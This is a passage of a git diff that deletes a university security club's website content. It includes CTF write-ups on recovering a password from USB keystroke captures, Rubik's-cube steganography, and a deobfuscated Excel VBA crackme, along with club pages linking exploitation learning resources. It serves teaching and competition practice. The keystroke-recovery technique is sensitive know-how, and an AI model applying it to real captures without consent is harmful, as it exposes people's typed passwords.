we have the encrypted file, a natural thing to look for is the password. We can try to get this password from the packets storing data about keyboard presses. - -### Recovering Key Presses - -We can filter for packets with information about keyboard presses. - -![Screenshot of Wireshark USB packets with keyboard presses](/blog/utctf-2019-rogue-leader-keyboard-presses.png) - -The “Leftover Data Capture” looks something like this. - -``` -00000a0000000000 -0000000000000000 -0000130000000000 -``` - -These 8 bytes include the scan code of the keyboard presses. Keyboard modifiers (ctrl, alt, shift) are stored in the first byte. Other key presses are stored in the third byte to the last byte. - -``` -[MODIFIER] [RESERVED] [KEY PRESS x6] -``` - -Let’s use tshark to dump out all the keyboard data. Note that we’ll filter out empty data. - -``` -$ tshark -r capture.pcapng -Y "((usb.transfer_type == 0x01) && !(usb.capdata == 00:00:00:00:00:00:00:00) && (usb.device_address == 5) && (usb.urb_type == 67))" -e "usb.capdata" -Tfields > keyboard.data -$ head keyboard.data -00:00:0a:00:00:00:00:00 -00:00:13:00:00:00:00:00 -00:00:0a:00:00:00:00:00 -00:00:0a:2c:00:00:00:00 -00:00:2c:00:00:00:00:00 -00:00:2d:00:00:00:00:00 -00:00:06:00:00:00:00:00 -00:00:2c:00:00:00:00:00 -00:00:09:00:00:00:00:00 -00:00:09:0f:00:00:00:00 -``` - -We can use a python script to decode the key presses. I found a script online that does most of the work for me. I only changed it a little to fit my needs (e.g. adding more scan codes). - -``` -# Original Source: https://bitvijays.github.io/LFC-Forensics.html -# More Scan Codes: https://gist.github.com/MightyPork/6da26e382a7ad91b5496ee55fdc73db2 - -usb_codes = { - 0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF", - 0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL", - 0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR", - 0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX", - 0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$", - 0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)", - 0x2C:" ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}", 0x32:"#~", - 0x33:";:", 0x34:"'\"", 0x36:",<", 0x37:".>", 0x38:"/?", 0x4f:">", - 0x50:"<" - } - -lines = [''] - -pos = 0 -for x in open("keyboard.data","r").readlines(): - x = x.split(':') - code = int(x[2], 16) - - if code == 0: - continue - - # 0x51 -> Keyboard Down - # 0x28 -> Enter; - if code == 0x51 or code == 0x28: - pos += 1 - - if pos > len(lines)-1: - lines.append('') - continue - - # 0x52 -> Keyboard Up; - if code == 0x52: - pos -= 1 - continue - - # Shift modifier - if int(x[0],16) == 2: - lines[pos] += usb_codes[code][1] - else: - lines[pos] += usb_codes[code][0] - -for x in lines: - print(x) -``` - -The output of this is: - -``` -$ python decode.py -gpgg -c fflaagss.ppng -utNOTflag{try_haardeer} -utNOTflag{try_hardeer} -cp flaggs.png.gpg /media/usserr/USB/ -``` - -Although there are some duplicated letters, we can still see the password is -**utNOTflag{try_harder}**. We can now decrypt the file we found before. - -``` -$ gpg -o flags.png -d raw.out - -$ file flags.png - flags.png: PNG image data, 112 x 163, 8-bit/color RGBA, non-interlaced -``` - -And we get flags.png! - -![Picture of United Nations country flags](/blog/utctf-2019-rogue-leader-flags.png) - -### Last Steps Before (getting the flag) - -Now that we have flags.png, perhaps the flag is hidden with some steganography techniques. After fiddling around with it, we find that another image is hidden in the LSB of flags.png. Using an [online tool](https://incoherency.co.uk/image-steganography), we get the hidden image. - -![Picture of the state of Texas overlaid with the Texan flag and the CTF flag](/blog/utctf-2019-rogue-leader-flags.png) - -**Flag: utflag{t3x45_1s_my_f4v0r1te_c0untry}** \ No newline at end of file diff --git a/content/blog/utctf-2019-scrambled.md b/content/blog/utctf-2019-scrambled.md deleted file mode 100644 index 648dc02..0000000 --- a/content/blog/utctf-2019-scrambled.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: "UTCTF 2019 - Scrambled" -author: "Zander Work" -date: 2019-03-11T00:00:00-07:00 -categories: ['Writeups'] -tags: [] -caption: "" - -draft: false ---- - -*Tl;dr Cool encoding using Rubik’s cube, I wrote a [Python script](https://github.com/zzzanderw/ctf-writeups/blob/master/utctf2019/scrambled/solve.py).* - -This was a 1250 point Forensics challenge (highest points in the category). Here’s the description: - -![Scrambled challenge description](/blog/utctf-2019-scrambled-challenge-description.png) - -By the time I took a look at the challenge, they had released a hint as well: - -![Scrambled hint](/blog/utctf-2019-scrambled-hint.png) - -Based on the hint, I quickly discovered that the challenge description described ways of [manipulating a Rubik’s Cube](https://ruwix.com/the-rubiks-cube/notation/): - -![Rubik's Cube face rotations](/blog/utctf-2019-scrambled-rubiks-rotations.png) - -Googling the hint (“rubikstega”) leads to a paper entitled “Rubikstega: A Novel Noiseless Steganography Method in Rubik’s Cube” ([link](http://docplayer.net/99336533-Rubikstega-a-novel-noiseless-steganography-method-in-rubik-s-cube.html)). After skimming through the paper, it became clear that this was the method used to encode the message, so I got reading. - -Here’s how the encoding works (at a high level, I’ll break it down more as I go through the challenge): - -- Each message has 3+ “scrambles”. - - The first scramble provides a permutation value - - The second provides the length of the message - - The rest of the scrambles make up the message -- The encoding uses base 9 in order to encode messages. Since there are 18 possible moves, there are two moves for each base 9 value: - -![From page 4 of the Rubikstega paper](/blog/utctf-2019-scrambled-msg-encoding.png) - -Let’s take a look at the first scramble. This will eventually yield a permutation value (P) that is used to mutate the default message encoding table for the rest of the scrambles. - -``` -B2 R U F’ R’ L’ B B2 L F D D’ R’ F2 D’ R R D2 B’ L R - -Scramble 1 -``` - -![Scramble 1 format (from page 5 of the Rubikstega paper)](/blog/utctf-2019-scrambled-format1.png) - -1. First, we translate each move to a Base-9 value using the default encoding table. This gives us: - - 512676150038748115801 -2. Then, we convert that Base-9 value to Base-10. This gives us: - - 62553673461870258607 -3. Now we can extract the permutation value. The first digit (i) is 6, so we skip 6 more digits and then take the next 9. This gives us P: - - 346187025 - -Now that we have the permutation value, we can modify the original encoding table for the rest of the scrambles: - -![New message encoding table (based on P value from scramble 1)](/blog/utctf-2019-scrambled-new-encoding.png) - -Now we can take a look at scramble 2. This will eventually yield the message length for the rest of the scrambles. - -``` -L’ L B F2 R2 F2 R’ L F’ B’ R D’ D’ F U2 B’ U U D’ U2 F’ - -Scramble 2 -``` - -![Scramble 2 format (from page 6 of the Rubikstega paper)](/blog/utctf-2019-scrambled-format2.png) - -1. First, we translate each move to Base-9 using the new encoding table that we created using P. This gives us: - - 263101562434461477412 -2. Next, we convert that Base-9 value to Base-10. This gives us: - - 32887738540626863753 -3. The first digit is j, and the second digit is k. Therefore: - - j = 3, and k = 2 -4. We get the start of the length by doing: - - 2+j+1 = 2+3+1 = 6 -5. We get the end of the lengthy by doing: - - 2+j+k = 2+3+2 = 7 -6. We take the Base-10 value as a string, and the numbers between indexes 6 and 7 are the length. Therefore: - - The message length is 73 - -Now we know we need to take 73 moves from the third scramble to decode our flag. - -``` -L F’ F2 R B R R F2 F’ R2 D F’ U L U’ U’ U F D F2 U R U’ F U B2 B U2 D B F2 D2 L2 L2 B’ F’ D’ L2 D U2 U2 D2 U B’ F D R2 U2 R’ B’ F2 D’ D B’ U B’ D B’ F’ U’ R U U’ L’ L’ U2 F2 R R F L2 B2 L2 B B’ D R R’ U L - -Scramble 3 (in it’s entirety, ~80 moves) -``` - -1. First, we translate each move to Base-9 using the new encoding table again. This gives us: - - 6213333120027655760173567831031877424701187460015414047404253752211336787 -2. Then, you convert that to binary (Base-2). This gives us: - - 111010101110100011001100110110001100001011001110… (you get the point) -3. Then you pad it with 0s at the beginning so you have equal blocks of 8. I won’t dump all that binary again, but you need one 0 at the beginning. -4. Then, you break it into blocks of 8 and convert to ASCII. This gives us the flag. - -At first I did this by hand, but I messed up somewhere and wasn’t able to get the proper ASCII values so I wrote a Python script, which you can see [here](https://github.com/zzzanderw/ctf-writeups/blob/master/utctf2019/scrambled/solve.py). Definitely wouldn’t recommend trying to do this by hand. - -The flag is **utflag{my_bra1n_1s_scrambl3d}**. diff --git a/content/blog/volgactf-excellent-crackme.md b/content/blog/volgactf-excellent-crackme.md deleted file mode 100644 index e782d2b..0000000 --- a/content/blog/volgactf-excellent-crackme.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: "VolgaCTF - excellent-crackme" -author: "Lyell Read" -date: 2020-03-29T00:00:00-07:00 -categories: ['Writeups'] -tags: ['volgactf'] -caption: "The VolgaCTF logo" - -draft: false ---- - -## Prompt - -Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this… - -[excel_crackme](https://github.com/lyellread/ctf-writeups/blob/master/2020-volgactf/excellent-crackme/VolgaCTF_excel_crackme.xlsm) - -## Solution - -An excel challenge – that’s a first for us! Let’s crack that file open. We used LibreOffice, as Excel was not installed and Libreoffice was. Upon opening, we are greeted with a message that mentions that macros will not be run for security reasons. we’ll look into that in a sec, thank you, LibreOffice. - -Firstly, let’s look at the spreadsheet: - -![Screenshot of the spreadsheet](/blog/volgactf-excellent-crackme-spreadsheet.jpg) - -Nice colors. We see an entry box, and what looks like a submit box. The first thing we did was select all cells, and change text color to not yellow, on a hunch that there is hidden text or data somewhere in the sheet. There is, though we did not find it at first. - -Under `Tools > Macros > Edit Macros`, we can see the following: - -![Screenshot of the spreadsheet's macros](/blog/volgactf-excellent-crackme-macros.jpg) - -This looks like slightly obfuscated VPA (Visual Basic for Applications). On further inspection, it appears that everything listed under `Module1` is the same file, just different functions. Therefore, we extract `VolgaCTF` into [VolgaCTFRaw.bas](https://github.com/lyellread/ctf-writeups/blob/master/2020-volgactf/excellent-crackme/VolgaCTFRaw.bas). - -Then, we began manually deobfuscating it, renaming variables and indenting appropriately. We needed not get further than the first function (fine, subroutine) `VolgaCTF()` to undstand what is going on. Here is that function (deobfuscated): - -``` -Private Sub VolgaCTF() - Dim string_1 As String - Dim long_1 As Long - Dim long_2 As Long - Dim long_3 As Long - string_1 = Range(Chr(76) & Chr(&H31) & Chr(Int("53"))) - For idx_outer = 1 To Len(string_1) - long_1 = 0 - For idx = 1 To Len(string_1) - long_2 = CInt(Cells(99 + idx_outer, 99 + idx).Value) - middle = Mid(string_1, idx, 1) - long_1 = long_1 + long_2 * Asc(middle) - Next idx - long_3 = CLng(Cells(99 + idx_outer, 99 + Len(string_1) + 1).Value) - If (long_3 <> long_1) Then - MsgBox Func5(Chr(350416 / 2896) & Chr(Int("114")) & Chr(Int("&H72")) & Chr(Int("57")) & Chr(&H56) & Chr(&H75) & "q" & Chr(Int("113")) & Chr(4751 - 4652) & Chr(Int("69")) & Chr(&H54) & Chr(&H67) & Chr(Int("&H59")) & Chr(102) & "V" & Chr(Int("86"))) - Exit Sub - End If - Next idx_outer - - MsgBox Func5(Chr(Int("109")) & "q" & Chr(Int("49")) & Chr(Int("57")) & Chr(&H56) & Chr(&H65) & Chr(76) & Chr(Int("112")) & Chr(Int("86")) & "F" & Chr(Int("114")) & Chr(-343 + 395) & Chr(&H32) & Chr(72) & Chr(Int("&H31")) & Chr(100)) -End Sub -``` - -This can be better understood with [VBScript syntax highlighting](https://github.com/SublimeText/VBScript): - -![Screenshot of the VolgaCTF() function](/blog/volgactf-excellent-crackme-function.png) - -Firstly, some local variables are defined (`long_1`, `long_2`, `long_3`). Then `string_1` is set to the `Range()` of `Chr(76) & Chr(&H31) & Chr(Int("53"))`. This becomes `Range("L" & "1" & "5")` (note that `&H31 == 0x31` and elsewhere, the `&` operator is concatenation). Therefore, this becomes `Range(L15)` – this is where the text is entered in the Excel sheet, so `string_1` is the user input. - -Therefore, the outer loop iterates over the length of user input. We then identified that the first call to `MsgBox` is the one that issues the failure message, and the final one was the success message. We only fail if `long_3 != long_1`. - -`long_1` is set by repeating for each character in input string, adding the value of the cell at `99 + idx_outer, 99 + idx` multiplied by the ascii value of the current character (at `idx`). - -`long_3` is set by `long_3 = CLng(Cells(99 + idx_outer, 99 + Len(string_1) + 1).Value)` which takes the value of cell `99 + idx_outer, 99 + Len(string_1) + 1`. Knowing this, we looked at what data is in the sheet around 100,100: - -![Screenshot of spreadsheet matrix](/blog/volgactf-excellent-crackme-matrix.png) - -The last column is the ‘vector’ while the rest is the ‘matrix’. The code is essentially taking the dot product of the two. We can undo the operations done, and get the ascii value of the characters of the flag by performing `matrix\vector` in `sage`. [Here is the sage script](https://github.com/lyellread/ctf-writeups/blob/master/2020-volgactf/excellent-crackme/excellent-crackme-solve.sage). - -``` -VolgaCTF{7h3_M057_M47h_cr4ckM3_y0u_3V3R_533N} -``` - -~Lyell Read, Phillip Mestas, Lance Roy diff --git a/content/blog/welcome-to-damctf.md b/content/blog/welcome-to-damctf.md deleted file mode 100644 index da57681..0000000 --- a/content/blog/welcome-to-damctf.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: "Welcome to DamCTF" -author: "Zander Work" -date: 2020-02-22T00:00:00-07:00 -categories: ['Uncategorized'] -tags: [] -caption: "" - -draft: false ---- - -shamir_babytcache101 diff --git a/content/blog/welcome-to-winter-2019.md b/content/blog/welcome-to-winter-2019.md deleted file mode 100644 index 3f7bc11..0000000 --- a/content/blog/welcome-to-winter-2019.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Welcome to Winter 2019!" -author: "Zander Work" -date: 2019-01-08T00:00:00-07:00 -categories: ['Meeting Notes', 'Club News'] -tags: [] -caption: "" - -draft: false ---- - -Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term. - -Some things to look forward to for this term: - - I’m working with NetSPI to have them come back with a more technical presentation and hopefully some labs, so that will be awesome. - PRCCDC is in March, with qualifiers in Februrary, so we will be working on putting together a team for that. I will be talking about this more at this week’s meeting, so please make sure you are there if you’re interested in participating (if you can’t make it and are interested in participating, email me!) - For more info on PRCCDC, see this: [http://prccdc.org/](http://prccdc.org/) - PEUx5.5 is being held at Northeastern University in Seattle Feb. 1-2. We won’t be travelling as a club/team to that event, but it’s an awesome cybersecurity event that you should check out - For more info on PEUx5.5, see this: [https://www.pnnl.gov/nationalsecurity/technical/capabilities/computing/peu.stm](https://www.pnnl.gov/nationalsecurity/technical/capabilities/computing/peu.stm) - -Let me know if you have any questions! Thank you, and I hope to see you all on Thursday - diff --git a/content/calendar.md b/content/calendar.md deleted file mode 100644 index 0dfbd2a..0000000 --- a/content/calendar.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -title: Calendar -layout: 'calendar' ---- diff --git a/content/club-constitution.md b/content/club-constitution.md deleted file mode 100644 index 25d0b30..0000000 --- a/content/club-constitution.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -title: Club Constitution -layout: 'constitution' ---- diff --git a/content/ctf-league.md b/content/ctf-league.md deleted file mode 100644 index 7b76d95..0000000 --- a/content/ctf-league.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: CTF League -layout: 'infopage' ---- - -![CTF League logo, starring a beaver with a lock](https://www.osusec.org/wp-content/uploads/2022/06/ctf_small_years1-300x300.png) - -## Overview - -The OSUSEC CTF League is a great way for anyone interested in cybersecurity to develop their offensive security skills and get into playing CTF with the OSUSEC team! - -CTF League is a year-long competition that runs similar to a standard capture the flag event, with new challenges released every week. Each week, players compete to solve timed challenges intended to teach web, application, and cryptographic security tactics and prepare players for CTF competitions that OSU competes in as a club. - -CTF League is open to any member of the club, and teams will be formed to be balanced and promote healthy competition that will spur learning. Points will be gathered through challenge completion, and winners will be assessed based upon these points. - -Through competing in CTF League, each player receives points in accordance with their completion of challenges. These are tracked on our [scoreboard](http://scoreboard.ctf-league.osusec.org/). - -## Prizes - -OSU players are eligible to win prizes! The top ten players will receive custom OSUSEC sweatshirts, and the top 3 players will choose from a selection of prizes, including: - -- Raspberry Pi 4 Kit -- Wifi Pineapple -- Rubber Ducky USB -- Bose QuietComfort 35 Headphones -- Flipper Zero -- (More prizes tba) - -## Meeting Times & Dates - -CTF League dates for each respective term will be posted on the Discord below as they are decided. - -## Join CTF League! - -Join us on Discord! [https://discord.com/invite/A3Ferx9f](https://discord.com/invite/A3Ferx9f) diff --git a/content/home/blurb/_index.md b/content/home/blurb/_index.md deleted file mode 100644 index 4e7a183..0000000 --- a/content/home/blurb/_index.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -title: "Blurbs" -type: "blurb" -weight: 1 ---- \ No newline at end of file diff --git a/content/home/blurb/competitions.md b/content/home/blurb/competitions.md deleted file mode 100644 index b665089..0000000 --- a/content/home/blurb/competitions.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: "Competitions" -icon: "flag" -type: "blurb" -weight: 3 ---- - -Our competition team (OSUSEC) competes in multiple Capture The Flag and Cyber Defense Competitions throughout the year. diff --git a/content/home/blurb/ctf-meetings.md b/content/home/blurb/ctf-meetings.md deleted file mode 100644 index 6246784..0000000 --- a/content/home/blurb/ctf-meetings.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: "CTF Meetings" -icon: "users" -type: "blurb" -weight: 1 ---- - -OSUSEC meets regularly to play, discuss, and learn Capture The Flag. When there’s not a global pandemic, we meet in KEC. When there is, we make do on Discord. diff --git a/content/home/blurb/guest-speakers.md b/content/home/blurb/guest-speakers.md deleted file mode 100644 index bc01af9..0000000 --- a/content/home/blurb/guest-speakers.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: "Guest Speakers" -icon: "street-view" -type: "blurb" -weight: 2 ---- - -We love hosting guest speakers from industry, higher ed, or the public sector to talk to our club. Please fill out the contact form below if you’d like to speak to our club members! diff --git a/content/resources.md b/content/resources.md deleted file mode 100644 index bce45d0..0000000 --- a/content/resources.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Resources -layout: 'infopage' ---- - -## Resources List - -**Getting Started** - -Make sure to sign up for the club on SLI (that’s how we report numbers), and join us on Discord (that’s where all the fun happens). If you play CTF, please join our CTFTime Team! - - -- Main Website: [https://www.osusec.org/](https://www.osusec.org/) -- Club Constitution: [https://www.osusec.org/club-constitution/](https://www.osusec.org/club-constitution/) -- Discord: [https://discord.gg/2hNARuy](https://discord.gg/2hNARuy) -- CTFTime: [https://ctftime.org/team/12858](https://ctftime.org/team/12858) -- SLI Signup: [https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b](https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b) -- Discord Bot Walkthrough: See Below - -**Introductory CTF Material** - -Interested in getting into Capture The Flag? Check these out! -Also join the @CTF role on Discord to participate in CTF with us! - - -- OSUSEC CTF League: Weekly internal coached CTF: [https://www.osusec.org/ctf-league/](https://www.osusec.org/ctf-league/) - - To join, see #announcements or message an officer on Discord. -- CTF101: [https://ctf101.org/](https://ctf101.org/) -- TrailOfBits CTF Field Guide: [https://trailofbits.github.io/ctf/](https://trailofbits.github.io/ctf/) -- CS499: Cyber Attacks And Defense (taught by our awesome advisor, Dr. Jang, check out the Lectures at this link): [https:// cand.unexploitable.systems/cal.html](https:// cand.unexploitable.systems/cal.html) -- PicoCTF Primer: [https://primer.picoctf.com/](https://primer.picoctf.com/) -- pwn.college: [https://pwn.college/](https://pwn.college/) -- Intro to Binary Exploitation (“Nightmare”): [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io/) - -**Tooling** - -Not all tools will be needed to do most challenges. - -- OSUSEC CTF VM Setup (requires gitlab permissions, see #info on discord): [https://gitlab.com/osusec/ctf-team/setup](https://gitlab.com/osusec/ctf-team/setup) -- Flare VM (Windows [Malware] Reversing): [https://github.com/fireeye/flare-vm](https://github.com/fireeye/flare-vm) -- Burp Suite (Web/Network Analysis): [https://portswigger.net/burp/communitydownload](https://portswigger.net/burp/communitydownload) -- Cyber Chef: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -- PwnTools: [https://github.com/Gallopsled/pwntools](https://github.com/Gallopsled/pwntools) -- IDA FreeWare: [https://www.hex-rays.com/products/ida/support/download_freeware/](https://www.hex-rays.com/products/ida/support/download_freeware/) -- Binary Ninja Cloud / Demo: [https://binary.ninja/demo/](https://binary.ninja/demo/) -- NSA Ghidra: [https://ghidra-sre.org/](https://ghidra-sre.org/) -- Installing Ghidra on Windows 10: [https://gitlab.com/osusec/resources/-/blob/master/ghidra-windows-10.md](https://gitlab.com/osusec/resources/-/blob/master/ghidra-windows-10.md) -- Zardus’ CTF Tools: [https://github.com/zardus/ctf-tools](https://github.com/zardus/ctf-tools) -- Pwndbg: [https://github.com/pwndbg/pwndbg](https://github.com/pwndbg/pwndbg) -- Installing Autopsy on Debian Based Linux: [https://gitlab.com/osusec/resources/-/blob/master/autopsy-linux.md](https://gitlab.com/osusec/resources/-/blob/master/autopsy-linux.md) -- Building John The Ripper on Linux: [https://gitlab.com/osusec/resources/-/blob/master/john-linux.md](https://gitlab.com/osusec/resources/-/blob/master/john-linux.md) - -**CTF / pwn & Reversing Materials** - -References and cool sites related to CTF. - -- OSUSEC CTF Practice Range: [https://ctf.osusec.org/](https://ctf.osusec.org/) -- References - - Intel x86 Assembly Cheat Sheet: [http://www.jegerlehner.ch/intel/IntelCodeTable.pdf](http://www.jegerlehner.ch/intel/IntelCodeTable.pdf) - - Yale x86 Assembly Guide: [http://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html](http://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html) - - Wikibooks x86 Reference: [https://en.wikibooks.org/wiki/X86_Assembly](https://en.wikibooks.org/wiki/X86_Assembly) -- Tool Tutorials - - IDA Tutorial: [https://docs.google.com/presentation/d/1hjS17xuQy3TXWGvnDxQHi0oSoadHruOOrJtmlPW1GT8/edit?usp=sharing](https://docs.google.com/presentation/d/1hjS17xuQy3TXWGvnDxQHi0oSoadHruOOrJtmlPW1GT8/edit?usp=sharing) -- Challenge Archives - - CSAW Past Challenges: [https://365.csaw.io/](https://365.csaw.io/) - - ShellStorm Archive: [http://shell-storm.org/repo/CTF/](http://shell-storm.org/repo/CTF/) - - capture.thefl.ag Archive: [https://captf.com/](https://captf.com/) -- Pwndebug Tutorial: [https://desc0n0cid0.blogspot.com/2016/09/stack-based-buffer-overflow.html](https://desc0n0cid0.blogspot.com/2016/09/stack-based-buffer-overflow.html) -- Linux Reversing for Beginners: [https://osandamalith.com/2019/02/11/linux-reverse-engineering-ctfs-for-beginners/](https://osandamalith.com/2019/02/11/linux-reverse-engineering-ctfs-for-beginners/) -- OSUSEC Fall 2018 Slides “CS271 for Pwning”: [https://docs.google.com/presentation/d/1Ys0tQNGGLpcJlUu3Zkp9V5IyZXo8Cfl7DPv_HWl1xFs/edit?usp=sharing](https://docs.google.com/presentation/d/1Ys0tQNGGLpcJlUu3Zkp9V5IyZXo8Cfl7DPv_HWl1xFs/edit?usp=sharing) -- Triton Dinamic Binary Analysis: [https://triton.quarkslab.com/](https://triton.quarkslab.com/) -- All of CS499 CAND’s References: [https://cand.unexploitable.systems/ref.html](https://cand.unexploitable.systems/ref.html) -- CTF Libraries, Frameworks, Resources, Software, Tutorials: [https://github.com/apsdehal/awesome-ctf](https://github.com/apsdehal/awesome-ctf) -- Zardus’ CTF Tools: [https://github.com/zardus/ctf-tools](https://github.com/zardus/ctf-tools) -- OSUSEC CTF Practice Range [https://ctf.osusec.org/](https://ctf.osusec.org/) -- BlackHoodie X86-64 Reversing (and more): [https://www.youtube.com/channel/UCzOFMTa9idgoZ9b7wWHjLUQ](https://www.youtube.com/channel/UCzOFMTa9idgoZ9b7wWHjLUQ) -- ROP Emporium: [https://ropemporium.com/](https://ropemporium.com/) - -**CTF Heap, GOT, LibC, Malloc Materials** - -Advanced pwn Challenge Materials. - -- LibC DB (may be down): [http://libcdb.com/](http://libcdb.com/) -- GOT and PLT for Pwning [https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html) -- Heap Security Checks: [https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks.html](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks.html) -- Best Heap Diagram Ever: [https://raw.githubusercontent.com/cloudburst/libheap/master/heap.png](https://raw.githubusercontent.com/cloudburst/libheap/master/heap.png) -- Understanding glibc malloc: [https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/) -- MallocInternals: [https://sourceware.org/glibc/wiki/MallocInternals](https://sourceware.org/glibc/wiki/MallocInternals) -- Azeria Labs: ARM Heap Exploitation: [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) -- How 2 Heap, by Shellphish: [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - -**Open Source INTelligence (OSINT) Materials** - -Reference material and learning resources about OSINT practices - -- OSINT Curious Project: [https://osintcurio.us/](https://osintcurio.us/) or [https://twitter.com/OsintCurious](https://twitter.com/OsintCurious) -- OSINT Framework Tool Listing: [https://osintframework.com/](https://osintframework.com/) -- Another OSINT Tool Collection: [https://cipher387.github.io/osint_stuff_tool_collection](https://cipher387.github.io/osint_stuff_tool_collection) -- OSINT Quizzes and News: [https://twitter.com/Sector035](https://twitter.com/Sector035) -- OhShINT GitBook: [https://ohshint.gitbook.io/oh-shint-its-a-blog/](https://ohshint.gitbook.io/oh-shint-its-a-blog/) - -**Malware / Forensics / Threat Intel** - -Materials relating to …. well… malware reversing, forensics, threat intelligence and such things. - -- Quick bits on Forensics Challenges: [https://bitvijays.github.io/LFC-Forensics.html](https://bitvijays.github.io/LFC-Forensics.html) -- Flare VM: [https://github.com/fireeye/flare-vm](https://github.com/fireeye/flare-vm) -- Cisco Talos PyreBox: [https://github.com/Cisco-Talos/pyrebox](https://github.com/Cisco-Talos/pyrebox) -- See bot documentation below about using the `!malware` bot command, and getting access to the #malware channel for discussions of real world exploits and malware. -- MITRE’s Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™): [http://attack.mitre.org/wiki/Main_Page](http://attack.mitre.org/wiki/Main_Page) - -**CDC Materials** - -Materials for learning Cyber Defense Competition skills. -Join us and learn about CDC in the #cdc channel by adding the CDC role in Discord! - -- Vulnerable Machine Images Archive: [https://archive.wrccdc.org/images/](https://archive.wrccdc.org/images/) -- [Coming Soon] CDC Practice Range @ OSUSEC: See info on how to join the CDC role, or ask an officer in Discord. - -**Cryptography Materials** - -Resources pertaining to Cryptography - -- CryptoPals: [https://cryptopals.com/](https://cryptopals.com/) -- Euler Project: [https://projecteuler.net/](https://projecteuler.net/) -- Khan Academy Cryptography Unit: [https://www.khanacademy.org/computing/computer-science/cryptography](https://www.khanacademy.org/computing/computer-science/cryptography) -- Learn Cryptography: [https://learncryptography.com/Encryption/](https://learncryptography.com/Encryption/) -- Dr. Mike Rosulek’s Book: [https://web.engr.oregonstate.edu/~rosulekm/crypto/](https://web.engr.oregonstate.edu/~rosulekm/crypto/) -- SageMath: [https://www.sagemath.org/](https://www.sagemath.org/) - -**Web Resources** - -Web Security Resources - -- OWASP Top 10: [https://www.owasp.org/index.php/Top_10-2017_Top_10](https://www.owasp.org/index.php/Top_10-2017_Top_10) -- OWASP New 2020: [https://portswigger.net/polls/top-10-web-hacking-techniques-2020](https://portswigger.net/polls/top-10-web-hacking-techniques-2020) -- Burp Suite (Web/Network Analysis): [https://portswigger.net/burp/communitydownload](https://portswigger.net/burp/communitydownload) -- Web Security Learning from PortSwigger: [https://portswigger.net/web-security](https://portswigger.net/web-security) -- Google Gruyère Web App Exploit and Defense: [https://google-gruyere.appspot.com](https://google-gruyere.appspot.com) - -**Misc** - -- Many cool lists for hackers: [https://github.com/Hack-with-Github/Awesome-Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) -- LiveOverflow YouTube Channel: [https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) -- John Hammond YouTube Channel: [https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw) -- Introduction to macOS Exploitation: [https://theevilbit.github.io/posts/getting_started_in_macos_security/](https://theevilbit.github.io/posts/getting_started_in_macos_security/) - -## OSUSEC Discord Bot - -### 1. Verify - -Once joined, you will see a new DM from our Bot, creatively named OSUSEC Bot. It will ask for your ONID email, and then send you a confirmation token to that email to verify you are an OSU student. - -Once you get the token, reply to the bot, and you will be granted Member permissions on the OSUSEC Discord server. - -You should see that you have been granted the Member role when you click on your name in the OSUSEC Discord server. - -### 2. Add Roles - -Now that you’re in, select the #botspam channel. This is where you will configure your roles. - -You may always type !help to get a list of all commands. - -To see all roles, run !roles. To add (for example) the ctf role, run !role add ctf – if you are verified, you’ll be able to join in any CTF we play! - -### Optional: Gitlab - -Now, if you have a gitlab.com account, you can run `!gitlab ` to add yourself to our gitlab group. - -### Optional Channels - -If you are feeling like reviewing some malware, we have a channel named #malware where you may read, discuss and share real world exploit PoCs, malware samples and other such materials. - -Of course this comes with an agreement that you will be on good behavior (you agree to abide by the [OSUSEC code of ethics](https://www.osusec.org/code-of-ethics/) and [channel rules](https://docs.google.com/document/d/11rS6Fb5jSCxDWK6nkoBpvlEZNebMGWVOymWltXXcri0/edit)). - -To join, run !malware, and agree to be good by pressing the checkbox. - -Also available is a #political-discussion channel, where anyone may engage in protracted discussion touching on politics. This as well comes with an agreement to the [OSUSEC code of ethics](https://www.osusec.org/code-of-ethics/) and 